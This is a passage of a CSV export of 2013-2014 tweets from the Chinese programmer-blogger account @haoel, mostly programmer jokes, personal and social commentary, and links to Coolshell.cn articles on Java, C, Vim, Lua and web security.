117))]\",https://twitter.com/haoel/status/458037224140181504\n5047,456867885093502976,2014-04-17 18:52:46+00:00,3,0,0,,酷壳 Coolshell.cn - 从LongAdder看更高效的无锁实现: （感谢 @jd刘锟洋 投稿，更多文章参看他的博客：码梦为生） 原文链接：《比AtomicLong还高效的… http://t.co/Dsk0ydQjMK,\"[TextLink(text='goo.gl/fb/Usd2L', url='http://goo.gl/fb/Usd2L', tcourl='http://t.co/Dsk0ydQjMK', indices=(93, 115))]\",https://twitter.com/haoel/status/456867885093502976\n5048,456461873739624448,2014-04-16 15:59:26+00:00,62,81,8,,与女人吵架的要领是，要像在安装软件或注册网站时阅读“服务条款”那样——直接忽略所有的内容，到最后面勾选“我同意”，然后点击“确定”。,,https://twitter.com/haoel/status/456461873739624448\n5049,456104268819202048,2014-04-15 16:18:26+00:00,6,10,8,,很羡慕现在的程序员的，有那么多的网上资料和书籍，有那么活跃的github和stackoverflow，还有那么多的代码库可以拿来就用，互联网发达，硬件便宜，成长起来非常快。不像我成长的时候，资料匮乏，社区不多，电脑买不起，成长在了比较封闭的Win/Unix平台和封闭的公司环境下…,,https://twitter.com/haoel/status/456104268819202048\n5050,456100383123714048,2014-04-15 16:02:59+00:00,10,22,3,,大学时，在和父母争论择业的时候，批评父母年轻的时候不珍惜自己年轻的时光，在工厂里吃大锅饭，毫无作为，没有为自己活。长大成熟了后，了解了父辈的历史，才知道他们那个时候的环境是如此的糟糕，完全没得选择，生活过来都非常不易。现在想想非常后悔，按新时代的标准去批评过去的人，实在是很荒唐。,,https://twitter.com/haoel/status/456100383123714048\n5051,455731208911986689,2014-04-14 15:36:01+00:00,9,11,4,,刚才同事说，给树梅派联上键盘，然后用kindle做树梅派的显示器，在这样的环境里非常适合写程序。因为kindle反应太慢，所以逼着自己得想好再写。 http://t.co/VOnz1LkmFb,,https://twitter.com/haoel/status/455731208911986689\n5052,455154722735800320,2014-04-13 01:25:16+00:00,0,0,0,,@CatChen  段子啊,,https://twitter.com/haoel/status/455154722735800320\n5053,455007564346822657,2014-04-12 15:40:31+00:00,18,41,9,,再过十来年，我们的下一代上网会遇到几个难题：1）注册网上帐号时，找不到一个还能用的用户名，2）SNS被朋友转发并嘲笑自己父母年轻时在网上的2B的行为。3）他们需要随身带一个几十万毫安同时可以给五六个移动设备充电的移动电源。#段子,,https://twitter.com/haoel/status/455007564346822657\n5054,454906640668852224,2014-04-12 08:59:29+00:00,8,6,2,,酷壳 Coolshell.cn - 从Code Reivew谈如何做技术: （这篇文章缘由我的微博，我想多说一些，有些杂乱，想到哪写到哪） 这两天，在微博上表达了一下Code… http://t.co/WnQsi28P9p,\"[TextLink(text='goo.gl/fb/iQOS6', url='http://goo.gl/fb/iQOS6', tcourl='http://t.co/WnQsi28P9p', indices=(89, 111))]\",https://twitter.com/haoel/status/454906640668852224\n5055,454634091816550400,2014-04-11 14:56:28+00:00,4,4,0,,作为一个关注安全的人士，我想说，用户的密码一定要足够复杂才安全。举个例子，只要网站强迫用户输入长度超过65536的用户名或密码。OpenSSL的这个Bug也就不这么重要了。#heartbleed #段子,,https://twitter.com/haoel/status/454634091816550400\n5056,453535045450346496,2014-04-08 14:09:15+00:00,4,10,5,,对于任何Javascript的技术问题都可以用一个完美的答案来回答：“请用jQuery”，如果这个技术小白回应道：“jQuery没有这样的功能”，那么，完美的回答则是：“请用jQuery的Plugin”。 http://t.co/eF1JEHwc6c,,https://twitter.com/haoel/status/453535045450346496\n5057,453163385597603840,2014-04-07 13:32:25+00:00,3,8,2,,今天是Windows XP的last day，明天开始微软不再为XP打任何安全补丁了。最令人沮丧的是一一微软为XP打了12年的补丁居然还没打完。,,https://twitter.com/haoel/status/453163385597603840\n5058,452997722354630656,2014-04-07 02:34:07+00:00,0,0,0,,@tuoxie007 都是我的,,https://twitter.com/haoel/status/452997722354630656\n5059,452829264803405824,2014-04-06 15:24:44+00:00,0,0,0,,@virushuo @xiasinet Amazon 的FBA在我2012年离开时，其为第三方商户的配送的比例在整个公司的物流中占到了40%左右，是个比较挣钱的买卖。,,https://twitter.com/haoel/status/452829264803405824\n5060,452482740336594944,2014-04-05 16:27:46+00:00,0,0,0,,@xiasinet @virushuo 赚不赚钱这事得问我啊，哈哈。,,https://twitter.com/haoel/status/452482740336594944\n5061,452339472143613952,2014-04-05 06:58:28+00:00,21,96,3,,程序员被叫去修电脑修，正确的回答方式是：『哦，不好意思啊，我是一个程序员，我并不会修电脑，我其实只会把电脑搞出问题来，老实说，你电脑上的这些问题都是我们程序员搞出来的』,,https://twitter.com/haoel/status/452339472143613952\n5062,452082058026700800,2014-04-04 13:55:36+00:00,35,103,4,,人有三急⋯⋯ http://t.co/oHVXNcE7xV,,https://twitter.com/haoel/status/452082058026700800\n5063,451734688327946240,2014-04-03 14:55:17+00:00,0,0,0,,@linlindev 百度这个公司黔驴技穷了。,,https://twitter.com/haoel/status/451734688327946240\n5064,450795042417172480,2014-04-01 00:41:28+00:00,9,4,0,,酷壳 Coolshell.cn - C语言结构体的数组和指针: 单看这文章的标题，你可能会觉得好像没什么意思。你先别下这个结论，相信这篇文章会对你理解C语言有帮助。这篇文章产生的背景是在… http://t.co/5ZkQpbPBdh,\"[TextLink(text='goo.gl/fb/2DDwk', url='http://goo.gl/fb/2DDwk', tcourl='http://t.co/5ZkQpbPBdh', indices=(95, 117))]\",https://twitter.com/haoel/status/450795042417172480\n5065,450258339138510848,2014-03-30 13:08:48+00:00,0,10,4,,看到马航事件家属们上街游行，以及众多明星向马来政府要真相的声势，我心里居然会觉得马航事件的当事者是『幸福』的。因为我想起了汶川地震中要真相的学生家长们，想起了三鹿奶粉中要真相的结石宝宝的家长们，还想起了很多很多⋯⋯,,https://twitter.com/haoel/status/450258339138510848\n5066,449767019173658624,2014-03-29 04:36:28+00:00,0,0,0,,@LangBai 无论怎么样，你一定要有某一方面比别人强啊。,,https://twitter.com/haoel/status/449767019173658624\n5067,449766816668086273,2014-03-29 04:35:40+00:00,1,0,1,,@LangBai 重要的不是记忆，而是1）知道有这么回事，2）要用的时候知道怎么去查找。,,https://twitter.com/haoel/status/449766816668086273\n5068,449371880198127617,2014-03-28 02:26:19+00:00,11,27,7,,有些人啊，自从用了Node.js后，发现用JS通吃前后端，于是就号称自己是全端。我想说，N多年前Java通吃所有端，无论CLI/GUI，还是Web端和Flash啥的，包括Win/Linux/Unix平台，手机端、嵌入式的统统吃掉。就这样，那时都没人说自己懂Java就是全端开发。,,https://twitter.com/haoel/status/449371880198127617\n5069,447892124932251648,2014-03-24 00:26:18+00:00,9,5,0,,酷壳 Coolshell.cn - 无插件Vim编程技巧: 相信大家看过《简明Vim教程》也玩了《Vim大冒险》的游戏了，相信大家对Vim都有一个好的入门了。我在这里把我日常用Vim编程… http://t.co/tjLln4xCwF,\"[TextLink(text='goo.gl/fb/EWua6', url='http://goo.gl/fb/EWua6', tcourl='http://t.co/tjLln4xCwF', indices=(95, 117))]\",https://twitter.com/haoel/status/447892124932251648\n5070,446833927810850817,2014-03-21 02:21:24+00:00,12,92,7,,一个在北京住了快7年的老外前同事在微信上联系到了我，和我用相当蹩脚的中文聊天，我说，这7年来你的中文没啥长进啊，我们还是用英文吧。他说，虽然生活在中国这么长时间，但是他认识的中国人都找他说英文，所以，完全没有语言环境，不但中文没学好，自己英文也变烂了……,,https://twitter.com/haoel/status/446833927810850817\n5071,446464056149684224,2014-03-20 01:51:40+00:00,0,1,0,,酷壳 Coolshell.cn - Python修饰器的函数式编程: Python的修饰器的英文名叫Decorator，当你看到这个英文名的时候，你可能会把其跟Design… http://t.co/JWbOBAHcv9,\"[TextLink(text='goo.gl/fb/BJPgA', url='http://goo.gl/fb/BJPgA', tcourl='http://t.co/JWbOBAHcv9', indices=(88, 110))]\",https://twitter.com/haoel/status/446464056149684224\n5072,445922713157124096,2014-03-18 14:00:34+00:00,0,0,0,,@dulao5 细节不清楚了，我是看公司内的消息看到的。,,https://twitter.com/haoel/status/445922713157124096\n5073,445881304958369792,2014-03-18 11:16:01+00:00,0,0,0,,@dulao5 今天下午阿里云的DNS服务器被攻击了,,https://twitter.com/haoel/status/445881304958369792\n5074,445367747644755968,2014-03-17 01:15:20+00:00,11,82,9,,以后有机会我也做手机。给每个行业的人都定制一个和他专业相关的手机。如程序员，把什么VPN啊，编程手册，各种有价值的技术站点，以及gmail，chrome等程序员喜欢的东西通通给定制预装上，如果你要访问百度，会提示：“你这个自暴自弃的程序员，不配用这款的手机”，提示三次后手机自毁！,,https://twitter.com/haoel/status/445367747644755968\n5075,445138821823598592,2014-03-16 10:05:40+00:00,3,2,0,,酷壳 Coolshell.cn - 一个浮点数跨平台产生的问题: 感谢网友唐磊投稿，本文原文在唐磊的博客上（原文地址），我对原文做了很多修改，并加了Linux下的内容。浮点数是一个很复杂… http://t.co/FQJLfwL7i4,\"[TextLink(text='goo.gl/fb/GIRfX', url='http://goo.gl/fb/GIRfX', tcourl='http://t.co/FQJLfwL7i4', indices=(95, 117))]\",https://twitter.com/haoel/status/445138821823598592\n5076,444668127432155136,2014-03-15 02:55:17+00:00,9,28,8,,爱迪生说：“天才是1％的灵感加上99％的汗水”，程序员写软件也是一样，1%的写代码，加上99%应对需求变化的汗水。而程序员写代码是1%的灵感，加上99%在网上找代码的汗水。,,https://twitter.com/haoel/status/444668127432155136\n5077,444481644616220672,2014-03-14 14:34:16+00:00,3,9,1,,学计算机的人是很幸福的，因为他们总是有很好的人缘。因为无论你身处何处，过得怎么样，你的朋友们无论有多么的忙，无论与你隔得有多远，他们都会随时想着你，都会找出时间联系你，给你打国内甚至国际长途电话——问你如何解决他们电脑上的各种问题。,,https://twitter.com/haoel/status/444481644616220672\n5078,441731781197189120,2014-03-07 00:27:18+00:00,3,3,0,,酷壳 Coolshell.cn - Java中的CopyOnWrite容器: 感谢 清英 同学的投稿 Copy-On-Write简称COW，是一种用于程序设计中的优化策略。其基本思路是… http://t.co/5nTxMz90aD,\"[TextLink(text='goo.gl/fb/Y76Sk', url='http://goo.gl/fb/Y76Sk', tcourl='http://t.co/5nTxMz90aD', indices=(94, 116))]\",https://twitter.com/haoel/status/441731781197189120\n5079,441585099398987776,2014-03-06 14:44:26+00:00,2,2,0,,酷壳 Coolshell.cn - 如何用最有创造力的方式输出42: 酷壳似乎好长时间没有像《编程真难啊》或是《老手是这样教新手编程的》或是像《如何写出无法维护的代码》这样“严肃正经”的… http://t.co/aKKKQJKIQF,\"[TextLink(text='goo.gl/fb/GxWyD', url='http://goo.gl/fb/GxWyD', tcourl='http://t.co/aKKKQJKIQF', indices=(95, 117))]\",https://twitter.com/haoel/status/441585099398987776\n5080,440705170846920704,2014-03-04 04:27:55+00:00,1,4,0,,找到一个bug…… http://t.co/3HbmzilYG8,,https://twitter.com/haoel/status/440705170846920704\n5081,440341500610621440,2014-03-03 04:22:49+00:00,0,0,0,,@sagacity 哈哈。,,https://twitter.com/haoel/status/440341500610621440\n5082,440341102348865538,2014-03-03 04:21:14+00:00,14,52,6,,昨天和朋友聊，要搞独立搞独立去，拿着平民砍这是种什么逻辑啊？脑子严重进水了。朋友说，你看那些对社会不满的去砍幼儿园，烧公交车的，那些不满医疗中去砍医生的，那些因为航班延误去打工作人员的，那些因为钓鱼岛去搞自己同胞的，因为奥运抢火炬而打去家乐福买东西的平民，基本上都是这个逻辑。,,https://twitter.com/haoel/status/440341102348865538\n5083,439063199506518016,2014-02-27 15:43:18+00:00,0,0,1,,@arthur369 哦，我忘给这推打上段子的标签了。,,https://twitter.com/haoel/status/439063199506518016\n5084,439047502164426752,2014-02-27 14:40:56+00:00,27,152,10,,老婆问我啥是大数据？我说这可牛逼了，通过对大量数据进行数据统计可分析出人的行为、喜好、特征和性格，比如通过分析你的购物记录、网上的搜索、视频和微博可以知道你的兴趣点和性格特征，从而可以优化商业营销和广告。老婆想了想说，你们理科生搞得太复杂了吧，稍微研究一下星座不就啥都知道了么？,,https://twitter.com/haoel/status/439047502164426752\n5085,437742212345245696,2014-02-24 00:14:10+00:00,2,11,0,,酷壳 Coolshell.cn - 由苹果的低级Bug想到的: 2014年2月22日，在这个“这么二”的日子里，苹果公司推送了 iOS 7.0.6（版本号11B651）修复了 SSL… http://t.co/xtuq7MZW5i,\"[TextLink(text='goo.gl/fb/cbUkh', url='http://goo.gl/fb/cbUkh', tcourl='http://t.co/xtuq7MZW5i', indices=(93, 115))]\",https://twitter.com/haoel/status/437742212345245696\n5086,436959850879537153,2014-02-21 20:25:21+00:00,3,1,1,,酷壳 Coolshell.cn - 可视化编程: 本文来自《Visual Programming Languages – Snapshots》，作者Eric Hosick收集了一堆关于可… http://t.co/fJucn9qKC2,\"[TextLink(text='goo.gl/fb/mF88N', url='http://goo.gl/fb/mF88N', tcourl='http://t.co/fJucn9qKC2', indices=(95, 117))]\",https://twitter.com/haoel/status/436959850879537153\n5087,436770306666274816,2014-02-21 07:52:10+00:00,0,0,0,,@gzhp 已给你站内私信了。,,https://twitter.com/haoel/status/436770306666274816\n5088,436767409933148160,2014-02-21 07:40:39+00:00,15,34,2,,昨天思考了一晚，决定下周就去脸书面试，然后一定要被他们拒掉，之后我上微博上发个贴：“今天面facebook被拒.blabla”，发完微博后，就去创业，产品叫WhosApp，等2019年被脸书以数百亿美金收购…刚一想，靠！这事在中国一定不会发生，早就被腾讯山寨掉了，别以为我真傻啊！,,https://twitter.com/haoel/status/436767409933148160\n5089,436164850293538816,2014-02-19 15:46:18+00:00,14,83,5,,\"学文科的老婆让我教她编程，想看看网页是怎么做的，于是我教她用JQuery, PHP 做些简单的小程序。在动手写出些Hello World的小程序后，老婆说：“编程也不是很难嘛，但是你们这些程序员太装逼了，无论前端还是后端的程序，代码里到处都是“$”，你们是想钱想疯了是吧？”\",,https://twitter.com/haoel/status/436164850293538816\n5090,435077062479446016,2014-02-16 15:43:49+00:00,1,11,2,,MacBook Air 真是好啊，尤其是冬天，那金属外壳当暖手宝的用户体验太好了，只要打开chrome看会儿Flash的视频就可以了。怎么？你的MacBook Air 还不够暖吗？那用下面的程序吧。 http://t.co/1Nakqyw1qp,,https://twitter.com/haoel/status/435077062479446016\n5091,432669668869156865,2014-02-10 00:17:42+00:00,6,5,0,,酷壳 Coolshell.cn - 从“黑掉Github”学习Web安全开发: Egor Homakov（Twitter: @homakov 个人网站: http://t.co/A0DTiYbIjr… http://t.co/Qhn3rUcSOk,\"[TextLink(text='EgorHomakov.com', url='http://EgorHomakov.com', tcourl='http://t.co/A0DTiYbIjr', indices=(77, 99)), TextLink(text='goo.gl/fb/LV6X5', url='http://goo.gl/fb/LV6X5', tcourl='http://t.co/Qhn3rUcSOk', indices=(101, 123))]\",https://twitter.com/haoel/status/432669668869156865\n5092,428825607267291136,2014-01-30 09:42:46+00:00,4,10,1,,2020年，联想宣布成立世界第一大lT业的历史博物馆，馆内藏品包括Thinkpad，Moto手机等展品，引发众多退休lT人士参观，大家纷纷表示该博物馆填补了我国lT技术研究的多项空白。,,https://twitter.com/haoel/status/428825607267291136\n5093,427997416999387136,2014-01-28 02:51:50+00:00,4,1,0,,酷壳 Coolshell.cn - 一个“蝇量级” C 语言协程库: （感谢网友 @我的上铺叫路遥 投稿） 协程(coroutine)顾名思义就是“协作的例程”（co-operative… http://t.co/2V1fwwdZdq,\"[TextLink(text='goo.gl/fb/pDddq', url='http://goo.gl/fb/pDddq', tcourl='http://t.co/2V1fwwdZdq', indices=(95, 117))]\",https://twitter.com/haoel/status/427997416999387136\n5094,427752695370231809,2014-01-27 10:39:24+00:00,4,30,4,,真正的程序员天生注定是一个微博控或段子手，因为在他们日常工作中，有太多的地方逼着他们发微博写段子，如 ：1）在源程序里的代码注释，2）在提交代码时的Commit Log，3）在Code Review工具里的批注，4）在程序运行的系统日志里。和新浪微博一样，在那骂人的体验真是棒极了,,https://twitter.com/haoel/status/427752695370231809\n5095,425143387964973056,2014-01-20 05:50:57+00:00,0,0,0,,@lisztli 如果网络和环境稳定，其实也不大容易出问题的。,,https://twitter.com/haoel/status/425143387964973056\n5096,425102793821937664,2014-01-20 03:09:38+00:00,3,0,1,,酷壳 Coolshell.cn - 分布式系统的事务处理: 当我们在生产线上用一台服务器来提供数据服务的时候，我会遇到如下的两个问题： 1）一台服务器的性能不足以提供足够的能力服务于所有… http://t.co/omaUc0icro,\"[TextLink(text='goo.gl/fb/JQEQb', url='http://goo.gl/fb/JQEQb', tcourl='http://t.co/omaUc0icro', indices=(95, 117))]\",https://twitter.com/haoel/status/425102793821937664\n5097,424773315052711936,2014-01-19 05:20:24+00:00,4,7,2,,我脱掉外套走了进去，被门里的妹子领到旁边，她让我伸开双手，任她上上下下地温柔地对我的全身摸来摸去而不能反抗。突然，她似乎感到了什么，一把抓住了我的皮带扣，似乎要把它解开，我开始有一点紧张，但她的手法却让我无力反抗。这时，她在我耳边轻声到：『先生，可以了，请拿好你的行李去候机厅吧』,,https://twitter.com/haoel/status/424773315052711936\n5098,424015176438804480,2014-01-17 03:07:50+00:00,0,1,3,,如果你想知道你的朋友中哪些人有安全意识哪些人没有，你就上微信之类的App上把自己的手机号绑定一下，然后就等着看在未来1天内有多少人会来主动加你为好友，你可能还会发现，有好多人自己都不认识。（我前两天试了一下在微信上绑我的手机号，一下子就明白了，哈哈）,,https://twitter.com/haoel/status/424015176438804480\n5099,422311275708702720,2014-01-12 10:17:09+00:00,0,2,1,,有的蓝牙耳机设计的很Mini，所以，佩带上这种Mini蓝牙耳机的的人，在别人眼里总以为他是一个有听力障碍需要佩带助听器的人。同理，佩带Google Glass的人，总是会让人以为这个有人很严重的视觉障碍。 http://t.co/jgKHVlpVTH,,https://twitter.com/haoel/status/422311275708702720\n5100,422303910867369984,2014-01-12 09:47:53+00:00,7,64,6,,软件开发团队在做Code Review的真相是：当你写的代码行只有50行以内的时候，别人会给你提10个comments，当你写的代码行超过500行以上的时候，别人的Comments通常都是“Looks fine!”,,https://twitter.com/haoel/status/422303910867369984\n5101,422299844196052992,2014-01-12 09:31:43+00:00,0,0,3,,其实，IE是Microsoft 为网民能用中国的网银发布的一款Chrome的Plugin ！,,https://twitter.com/haoel/status/422299844196052992\n5102,422245877118271489,2014-01-12 05:57:16+00:00,25,27,5,,在Github上看到一个YaaS - Year as a Service（https://t.co/Doer5BfJdP），我觉得太赞了，忍不住推荐给大家。还支持中国年，你知道吗，今年是中国的4711年。最关键的是，这个Service的源代码相当的简洁和优雅，才4个字节！,\"[TextLink(text='github.com/asgrim/year/tr…', url='https://github.com/asgrim/year/tree/master', tcourl='https://t.co/Doer5BfJdP', indices=(37, 60))]\",https://twitter.com/haoel/status/422245877118271489\n5103,422045746506891264,2014-01-11 16:42:01+00:00,17,37,5,,说起迭代式软件开发，经过我认真的研究和分析后，我看到这世上有这么几种行之有效的软件迭代的开发流程：1）加班迭代式，2）KPI迭代式，3）会议迭代式， 4）飞线迭代式，5）故障迭代，6）试错迭代。这些流程并不冲突，你可以同时使用。,,https://twitter.com/haoel/status/422045746506891264\n5104,421622305123356672,2014-01-10 12:39:25+00:00,11,26,9,,每年春节的时候，我都希望我的手机短信可以这样发出短信！ http://t.co/mlLJF4M0wB,,https://twitter.com/haoel/status/421622305123356672\n5105,421479866198810624,2014-01-10 03:13:25+00:00,3,5,1,,问：“一个32位的系统最大整数只能存2^32，为什么我赋值1 trillion的数，系统不会crash？”，答：我用另一问题来回答“你怎么用一只手数6个数？”，回：楼主知道中国数字手势吗？http://t.co/Kyt625KRQP http://t.co/S4HC5paMh5,\"[TextLink(text='superuser.com/questions/6983…', url='http://superuser.com/questions/698312/if-32-bit-machines-can-only-handle-numbers-up-to-232-why-can-i-write-100000000', tcourl='http://t.co/Kyt625KRQP', indices=(94, 116))]\",https://twitter.com/haoel/status/421479866198810624\n5106,421309139331981313,2014-01-09 15:55:01+00:00,0,0,1,,@Lord_WayneY  我用的是Snow Transformation Pack，最新的是Lion Transformation Pack - http://t.co/UNxMYFSYpA,\"[TextLink(text='windowsxlive.net/lion-transform…', url='http://www.windowsxlive.net/lion-transformation-pack/', tcourl='http://t.co/UNxMYFSYpA', indices=(74, 96))]\",https://twitter.com/haoel/status/421309139331981313\n5107,421302833900564480,2014-01-09 15:29:57+00:00,2,5,3,,每当我看到在Mac电脑上装Windows的人，我都会鄙视他们，我鄙视他们居然在Mac上用Windows都不给自己的Windows安装一个漂亮的Apple OS X 的样式。 http://t.co/674sLXEhhb,,https://twitter.com/haoel/status/421302833900564480\n5108,419050787688304640,2014-01-03 10:21:08+00:00,0,0,0,,@danyuancike 客气了。,,https://twitter.com/haoel/status/419050787688304640\n5109,416360779060084736,2013-12-27 00:11:59+00:00,8,7,0,,酷壳 Coolshell.cn - 函数式编程: 当我们说起函数式编程来说，我们会看到如下函数式编程的玩法： - 函数式编程的三大特性： - immutable data 不可变数据：像… http://t.co/0vilGKRUnw,\"[TextLink(text='goo.gl/fb/qCREt', url='http://goo.gl/fb/qCREt', tcourl='http://t.co/0vilGKRUnw', indices=(95, 117))]\",https://twitter.com/haoel/status/416360779060084736\n5110,412407808819486721,2013-12-16 02:24:18+00:00,0,1,0,,酷壳 Coolshell.cn - X-Y Problem: X-Y Problem 对于X-Y Problem的意思如下： 1）有人想解决问题X 2）他觉得Y可能是解决X问题的方法 3… http://t.co/C6D1WRLa1h,\"[TextLink(text='goo.gl/fb/dWQTx', url='http://goo.gl/fb/dWQTx', tcourl='http://t.co/C6D1WRLa1h', indices=(95, 117))]\",https://twitter.com/haoel/status/412407808819486721\n5111,407668125921193984,2013-12-03 00:30:29+00:00,23,9,0,,酷壳 Coolshell.cn - Lua简明教程: 这几天系统地学习了一下Lua这个脚本语言，Lua脚本是一个很轻量级的脚本，也是号称性能最高的脚本，用在很多需要性能的地方，比如：游戏… http://t.co/4DjWSZXGrU,\"[TextLink(text='goo.gl/fb/D1zaw', url='http://goo.gl/fb/D1zaw', tcourl='http://t.co/4DjWSZXGrU', indices=(95, 117))]\",https://twitter.com/haoel/status/407668125921193984\n5112,400868996775292928,2013-11-14 06:13:11+00:00,0,0,0,,@xiaoy_pandan 精神教父都出来了。汗！,,https://twitter.com/haoel/status/400868996775292928\n5113,400422670489354241,2013-11-13 00:39:38+00:00,8,9,2,,酷壳 Coolshell.cn - 编程能力与编程年龄: 程序员这个职业究竟可以干多少年，在中国这片神奇的土地上，很多人都说只能干到30岁，然后就需要转型，就像《程序员技术练级攻略》这篇… http://t.co/NPECmq7oEf,\"[TextLink(text='goo.gl/fb/UJFuu', url='http://goo.gl/fb/UJFuu', tcourl='http://t.co/NPECmq7oEf', indices=(95, 117))]\",https://twitter.com/haoel/status/400422670489354241\n5114,395701931974598656,2013-10-31 00:01:07+00:00,3,2,0,,酷壳 Coolshell.cn - 程序的本质复杂性和元语言抽象: （感谢 @文艺复兴记（todd） 投递此文） 组件复用技术的局限性 常听到有人讲“我写代码很讲究，一直严格遵循DRY… http://t.co/gabHeDNaV1,\"[TextLink(text='goo.gl/fb/qW5k6', url='http://goo.gl/fb/qW5k6', tcourl='http://t.co/gabHeDNaV1', indices=(94, 116))]\",https://twitter.com/haoel/status/395701931974598656\n5115,395037670172524545,2013-10-29 04:01:34+00:00,6,3,0,,酷壳 Coolshell.cn - 二维码的生成细节和原理: 二维码又称QR Code，QR全称Quick Response，是一个近几年来移动设备上超流行的一种编码方式，它比传统的… http://t.co/9R71rdYaio,\"[TextLink(text='goo.gl/fb/JtzOh', url='http://goo.gl/fb/JtzOh', tcourl='http://t.co/9R71rdYaio', indices=(93, 115))]\",https://twitter.com/haoel/status/395037670172524545\n5116,387961339790237696,2013-10-09 15:22:46+00:00,1,1,0,,酷壳 Coolshell.cn - 伙伴分配器的一个极简实现: （感谢网友 @我的上铺叫路遥 翻译投稿） 提起buddy system相信很多人不会陌生，它是一种经典的内存分配算法… http://t.co/WJUXBNbQ2o,\"[TextLink(text='goo.gl/fb/rWHRE', url='http://goo.gl/fb/rWHRE', tcourl='http://t.co/WJUXBNbQ2o', indices=(92, 114))]\",https://twitter.com/haoel/status/387961339790237696\n5117,385359445183963136,2013-10-02 11:03:46+00:00,1,1,1,,酷壳 Coolshell.cn - C++模板”&gt;&gt;”问题与编译器词法消歧: 在编译理论中，通常将编译过程抽象为5个主要阶段：词法分析(Lexical Analysis)，语法分析… http://t.co/LkyxBhiVEs,\"[TextLink(text='goo.gl/fb/T2VOz', url='http://goo.gl/fb/T2VOz', tcourl='http://t.co/LkyxBhiVEs', indices=(98, 120))]\",https://twitter.com/haoel/status/385359445183963136\n5118,365663897304313856,2013-08-09 02:40:41+00:00,4,1,1,,酷壳 Coolshell.cn - 数据即代码，我和小伙伴们都惊呆了！: 几个小伙伴在考虑下面这个各个语言都会遇到的问题： 问题：设计一个命令行参数解析API 一个好的命令行参数解析库… http://t.co/xNgxnQhGsl,\"[TextLink(text='goo.gl/fb/vMZqt', url='http://goo.gl/fb/vMZqt', tcourl='http://t.co/xNgxnQhGsl', indices=(94, 116))]\",https://twitter.com/haoel/status/365663897304313856\n5119,362373951642533889,2013-07-31 00:47:37+00:00,5,4,0,,酷壳 Coolshell.cn - 数据的游戏：冰与火: 我对数据挖掘和机器学习是新手，从去年7月份在Amazon才开始接触，而且还是因为工作需要被动接触的，以前都没有接触过，做的是需求… http://t.co/xVtRB1fAge,\"[TextLink(text='goo.gl/fb/JZi6A', url='http://goo.gl/fb/JZi6A', tcourl='http://t.co/xVtRB1fAge', indices=(95, 117))]\",https://twitter.com/haoel/status/362373951642533889\n5120,362055213571510272,2013-07-30 03:41:04+00:00,9,1,0,,酷壳 Coolshell.cn - 7个示例科普CPU Cache: （感谢网友 @我的上铺叫路遥 翻译投稿） CPU cache一直是理解计算机体系架构的重要知识点，也是并发编程设计中… http://t.co/w95smV7AMJ,\"[TextLink(text='goo.gl/fb/Q98Sm', url='http://goo.gl/fb/Q98Sm', tcourl='http://t.co/w95smV7AMJ', indices=(95, 117))]\",https://twitter.com/haoel/status/362055213571510272\n5121,360692106433527808,2013-07-26 09:24:34+00:00,0,0,0,,@arthur369 赞！祝福！去年和你们在深圳错过了，看了这篇文章后感到惋惜了……,,https://twitter.com/haoel/status/360692106433527808\n5122,359832516397502464,2013-07-24 00:28:51+00:00,5,5,0,,酷壳 Coolshell.cn - 加班与效率: 微博上看到了这么一个贴子，就像以前在《腾讯，竞争力 和 用户体验》中批评过腾讯说自己的核心竞争力是员工加班一样，我顺着Winter的回复… http://t.co/af4XbumMPN,\"[TextLink(text='goo.gl/fb/gZ75S', url='http://goo.gl/fb/gZ75S', tcourl='http://t.co/af4XbumMPN', indices=(95, 117))]\",https://twitter.com/haoel/status/359832516397502464\n5123,358960480406093826,2013-07-21 14:43:42+00:00,3,1,1,,酷壳 Coolshell.cn - C语言全局变量那些事儿: （感谢网友 @我的上铺叫路遥 投稿） 作为一名程序员，如果说沉迷一门编程语言算作一种乐趣的话，那么与此同时反过来去黑一门编程… http://t.co/I7xJP9XgOr,\"[TextLink(text='goo.gl/fb/mzY4B', url='http://goo.gl/fb/mzY4B', tcourl='http://t.co/I7xJP9XgOr', indices=(95, 117))]\",https://twitter.com/haoel/status/358960480406093826\n5124,358758514350489600,2013-07-21 01:21:09+00:00,2,5,0,,政府和城管终于真相了五星红旗是用人民的解血染红的⋯⋯,,https://twitter.com/haoel/status/358758514350489600\n5125,358757331741315075,2013-07-21 01:16:27+00:00,0,0,0,,@jlusdy 客气了,,https://twitter.com/haoel/status/358757331741315075\n5126,356248824618029056,2013-07-14 03:08:33+00:00,4,0,0,,酷壳 Coolshell.cn - 二叉树迭代器算法: 二叉树(Binary Tree)的前序、中序和后续遍历是算法和数据结构中的基本问题，基于递归的二叉树遍历算法更是递归的经典应用… http://t.co/oZGpT9YBCA,\"[TextLink(text='goo.gl/fb/84TLn', url='http://goo.gl/fb/84TLn', tcourl='http://t.co/oZGpT9YBCA', indices=(93, 115))]\",https://twitter.com/haoel/status/356248824618029056\n5127,354143604400332800,2013-07-08 07:43:09+00:00,3,1,1,,酷壳 Coolshell.cn - Alan Cox：大教堂、市集与市议会: （感谢网友 @我的上铺叫路遥 投稿） 在网上搜到的Cox大叔于1998年在开源社区写的一篇文章，当时很轰动… http://t.co/XmbEjQLnRK,\"[TextLink(text='goo.gl/fb/kqiyN', url='http://goo.gl/fb/kqiyN', tcourl='http://t.co/XmbEjQLnRK', indices=(94, 116))]\",https://twitter.com/haoel/status/354143604400332800\n5128,352951043233034240,2013-07-05 00:44:20+00:00,4,1,0,,酷壳 Coolshell.cn - IoC/DIP其实是一种管理思想: 关于IoC的的概念提出来已经很多年了，其被用于一种面象对像的设计。我在这里再简单的回顾一下这个概念。我先谈技术… http://t.co/ssnNzqxsue,\"[TextLink(text='goo.gl/fb/FTFl8', url='http://goo.gl/fb/FTFl8', tcourl='http://t.co/ssnNzqxsue', indices=(93, 115))]\",https://twitter.com/haoel/status/352951043233034240\n5129,351197743210958848,2013-06-30 04:37:21+00:00,6,0,0,,酷壳 Coolshell.cn - Alan Cox：单向链表中prev指针的妙用: Alan Cox （感谢网友 @我的上铺叫路遥 投稿） 之前发过一篇二级指针操作单向链表的例子，显示… http://t.co/5EuWG09JQv,\"[TextLink(text='goo.gl/fb/v8nCu', url='http://goo.gl/fb/v8nCu', tcourl='http://t.co/5EuWG09JQv', indices=(95, 117))]\",https://twitter.com/haoel/status/351197743210958848\n5130,346628865948524544,2013-06-17 14:02:16+00:00,0,1,1,,NSA Backdoor as a Service https://t.co/LSrPRuvU0Y http://t.co/9YUdQGJozf,\"[TextLink(text='github.com/goshakkk/nsa_p…', url='https://github.com/goshakkk/nsa_panel', tcourl='https://t.co/LSrPRuvU0Y', indices=(26, 49))]\",https://twitter.com/haoel/status/346628865948524544\n5131,346622966227943425,2013-06-17 13:38:50+00:00,1,4,0,,《Two 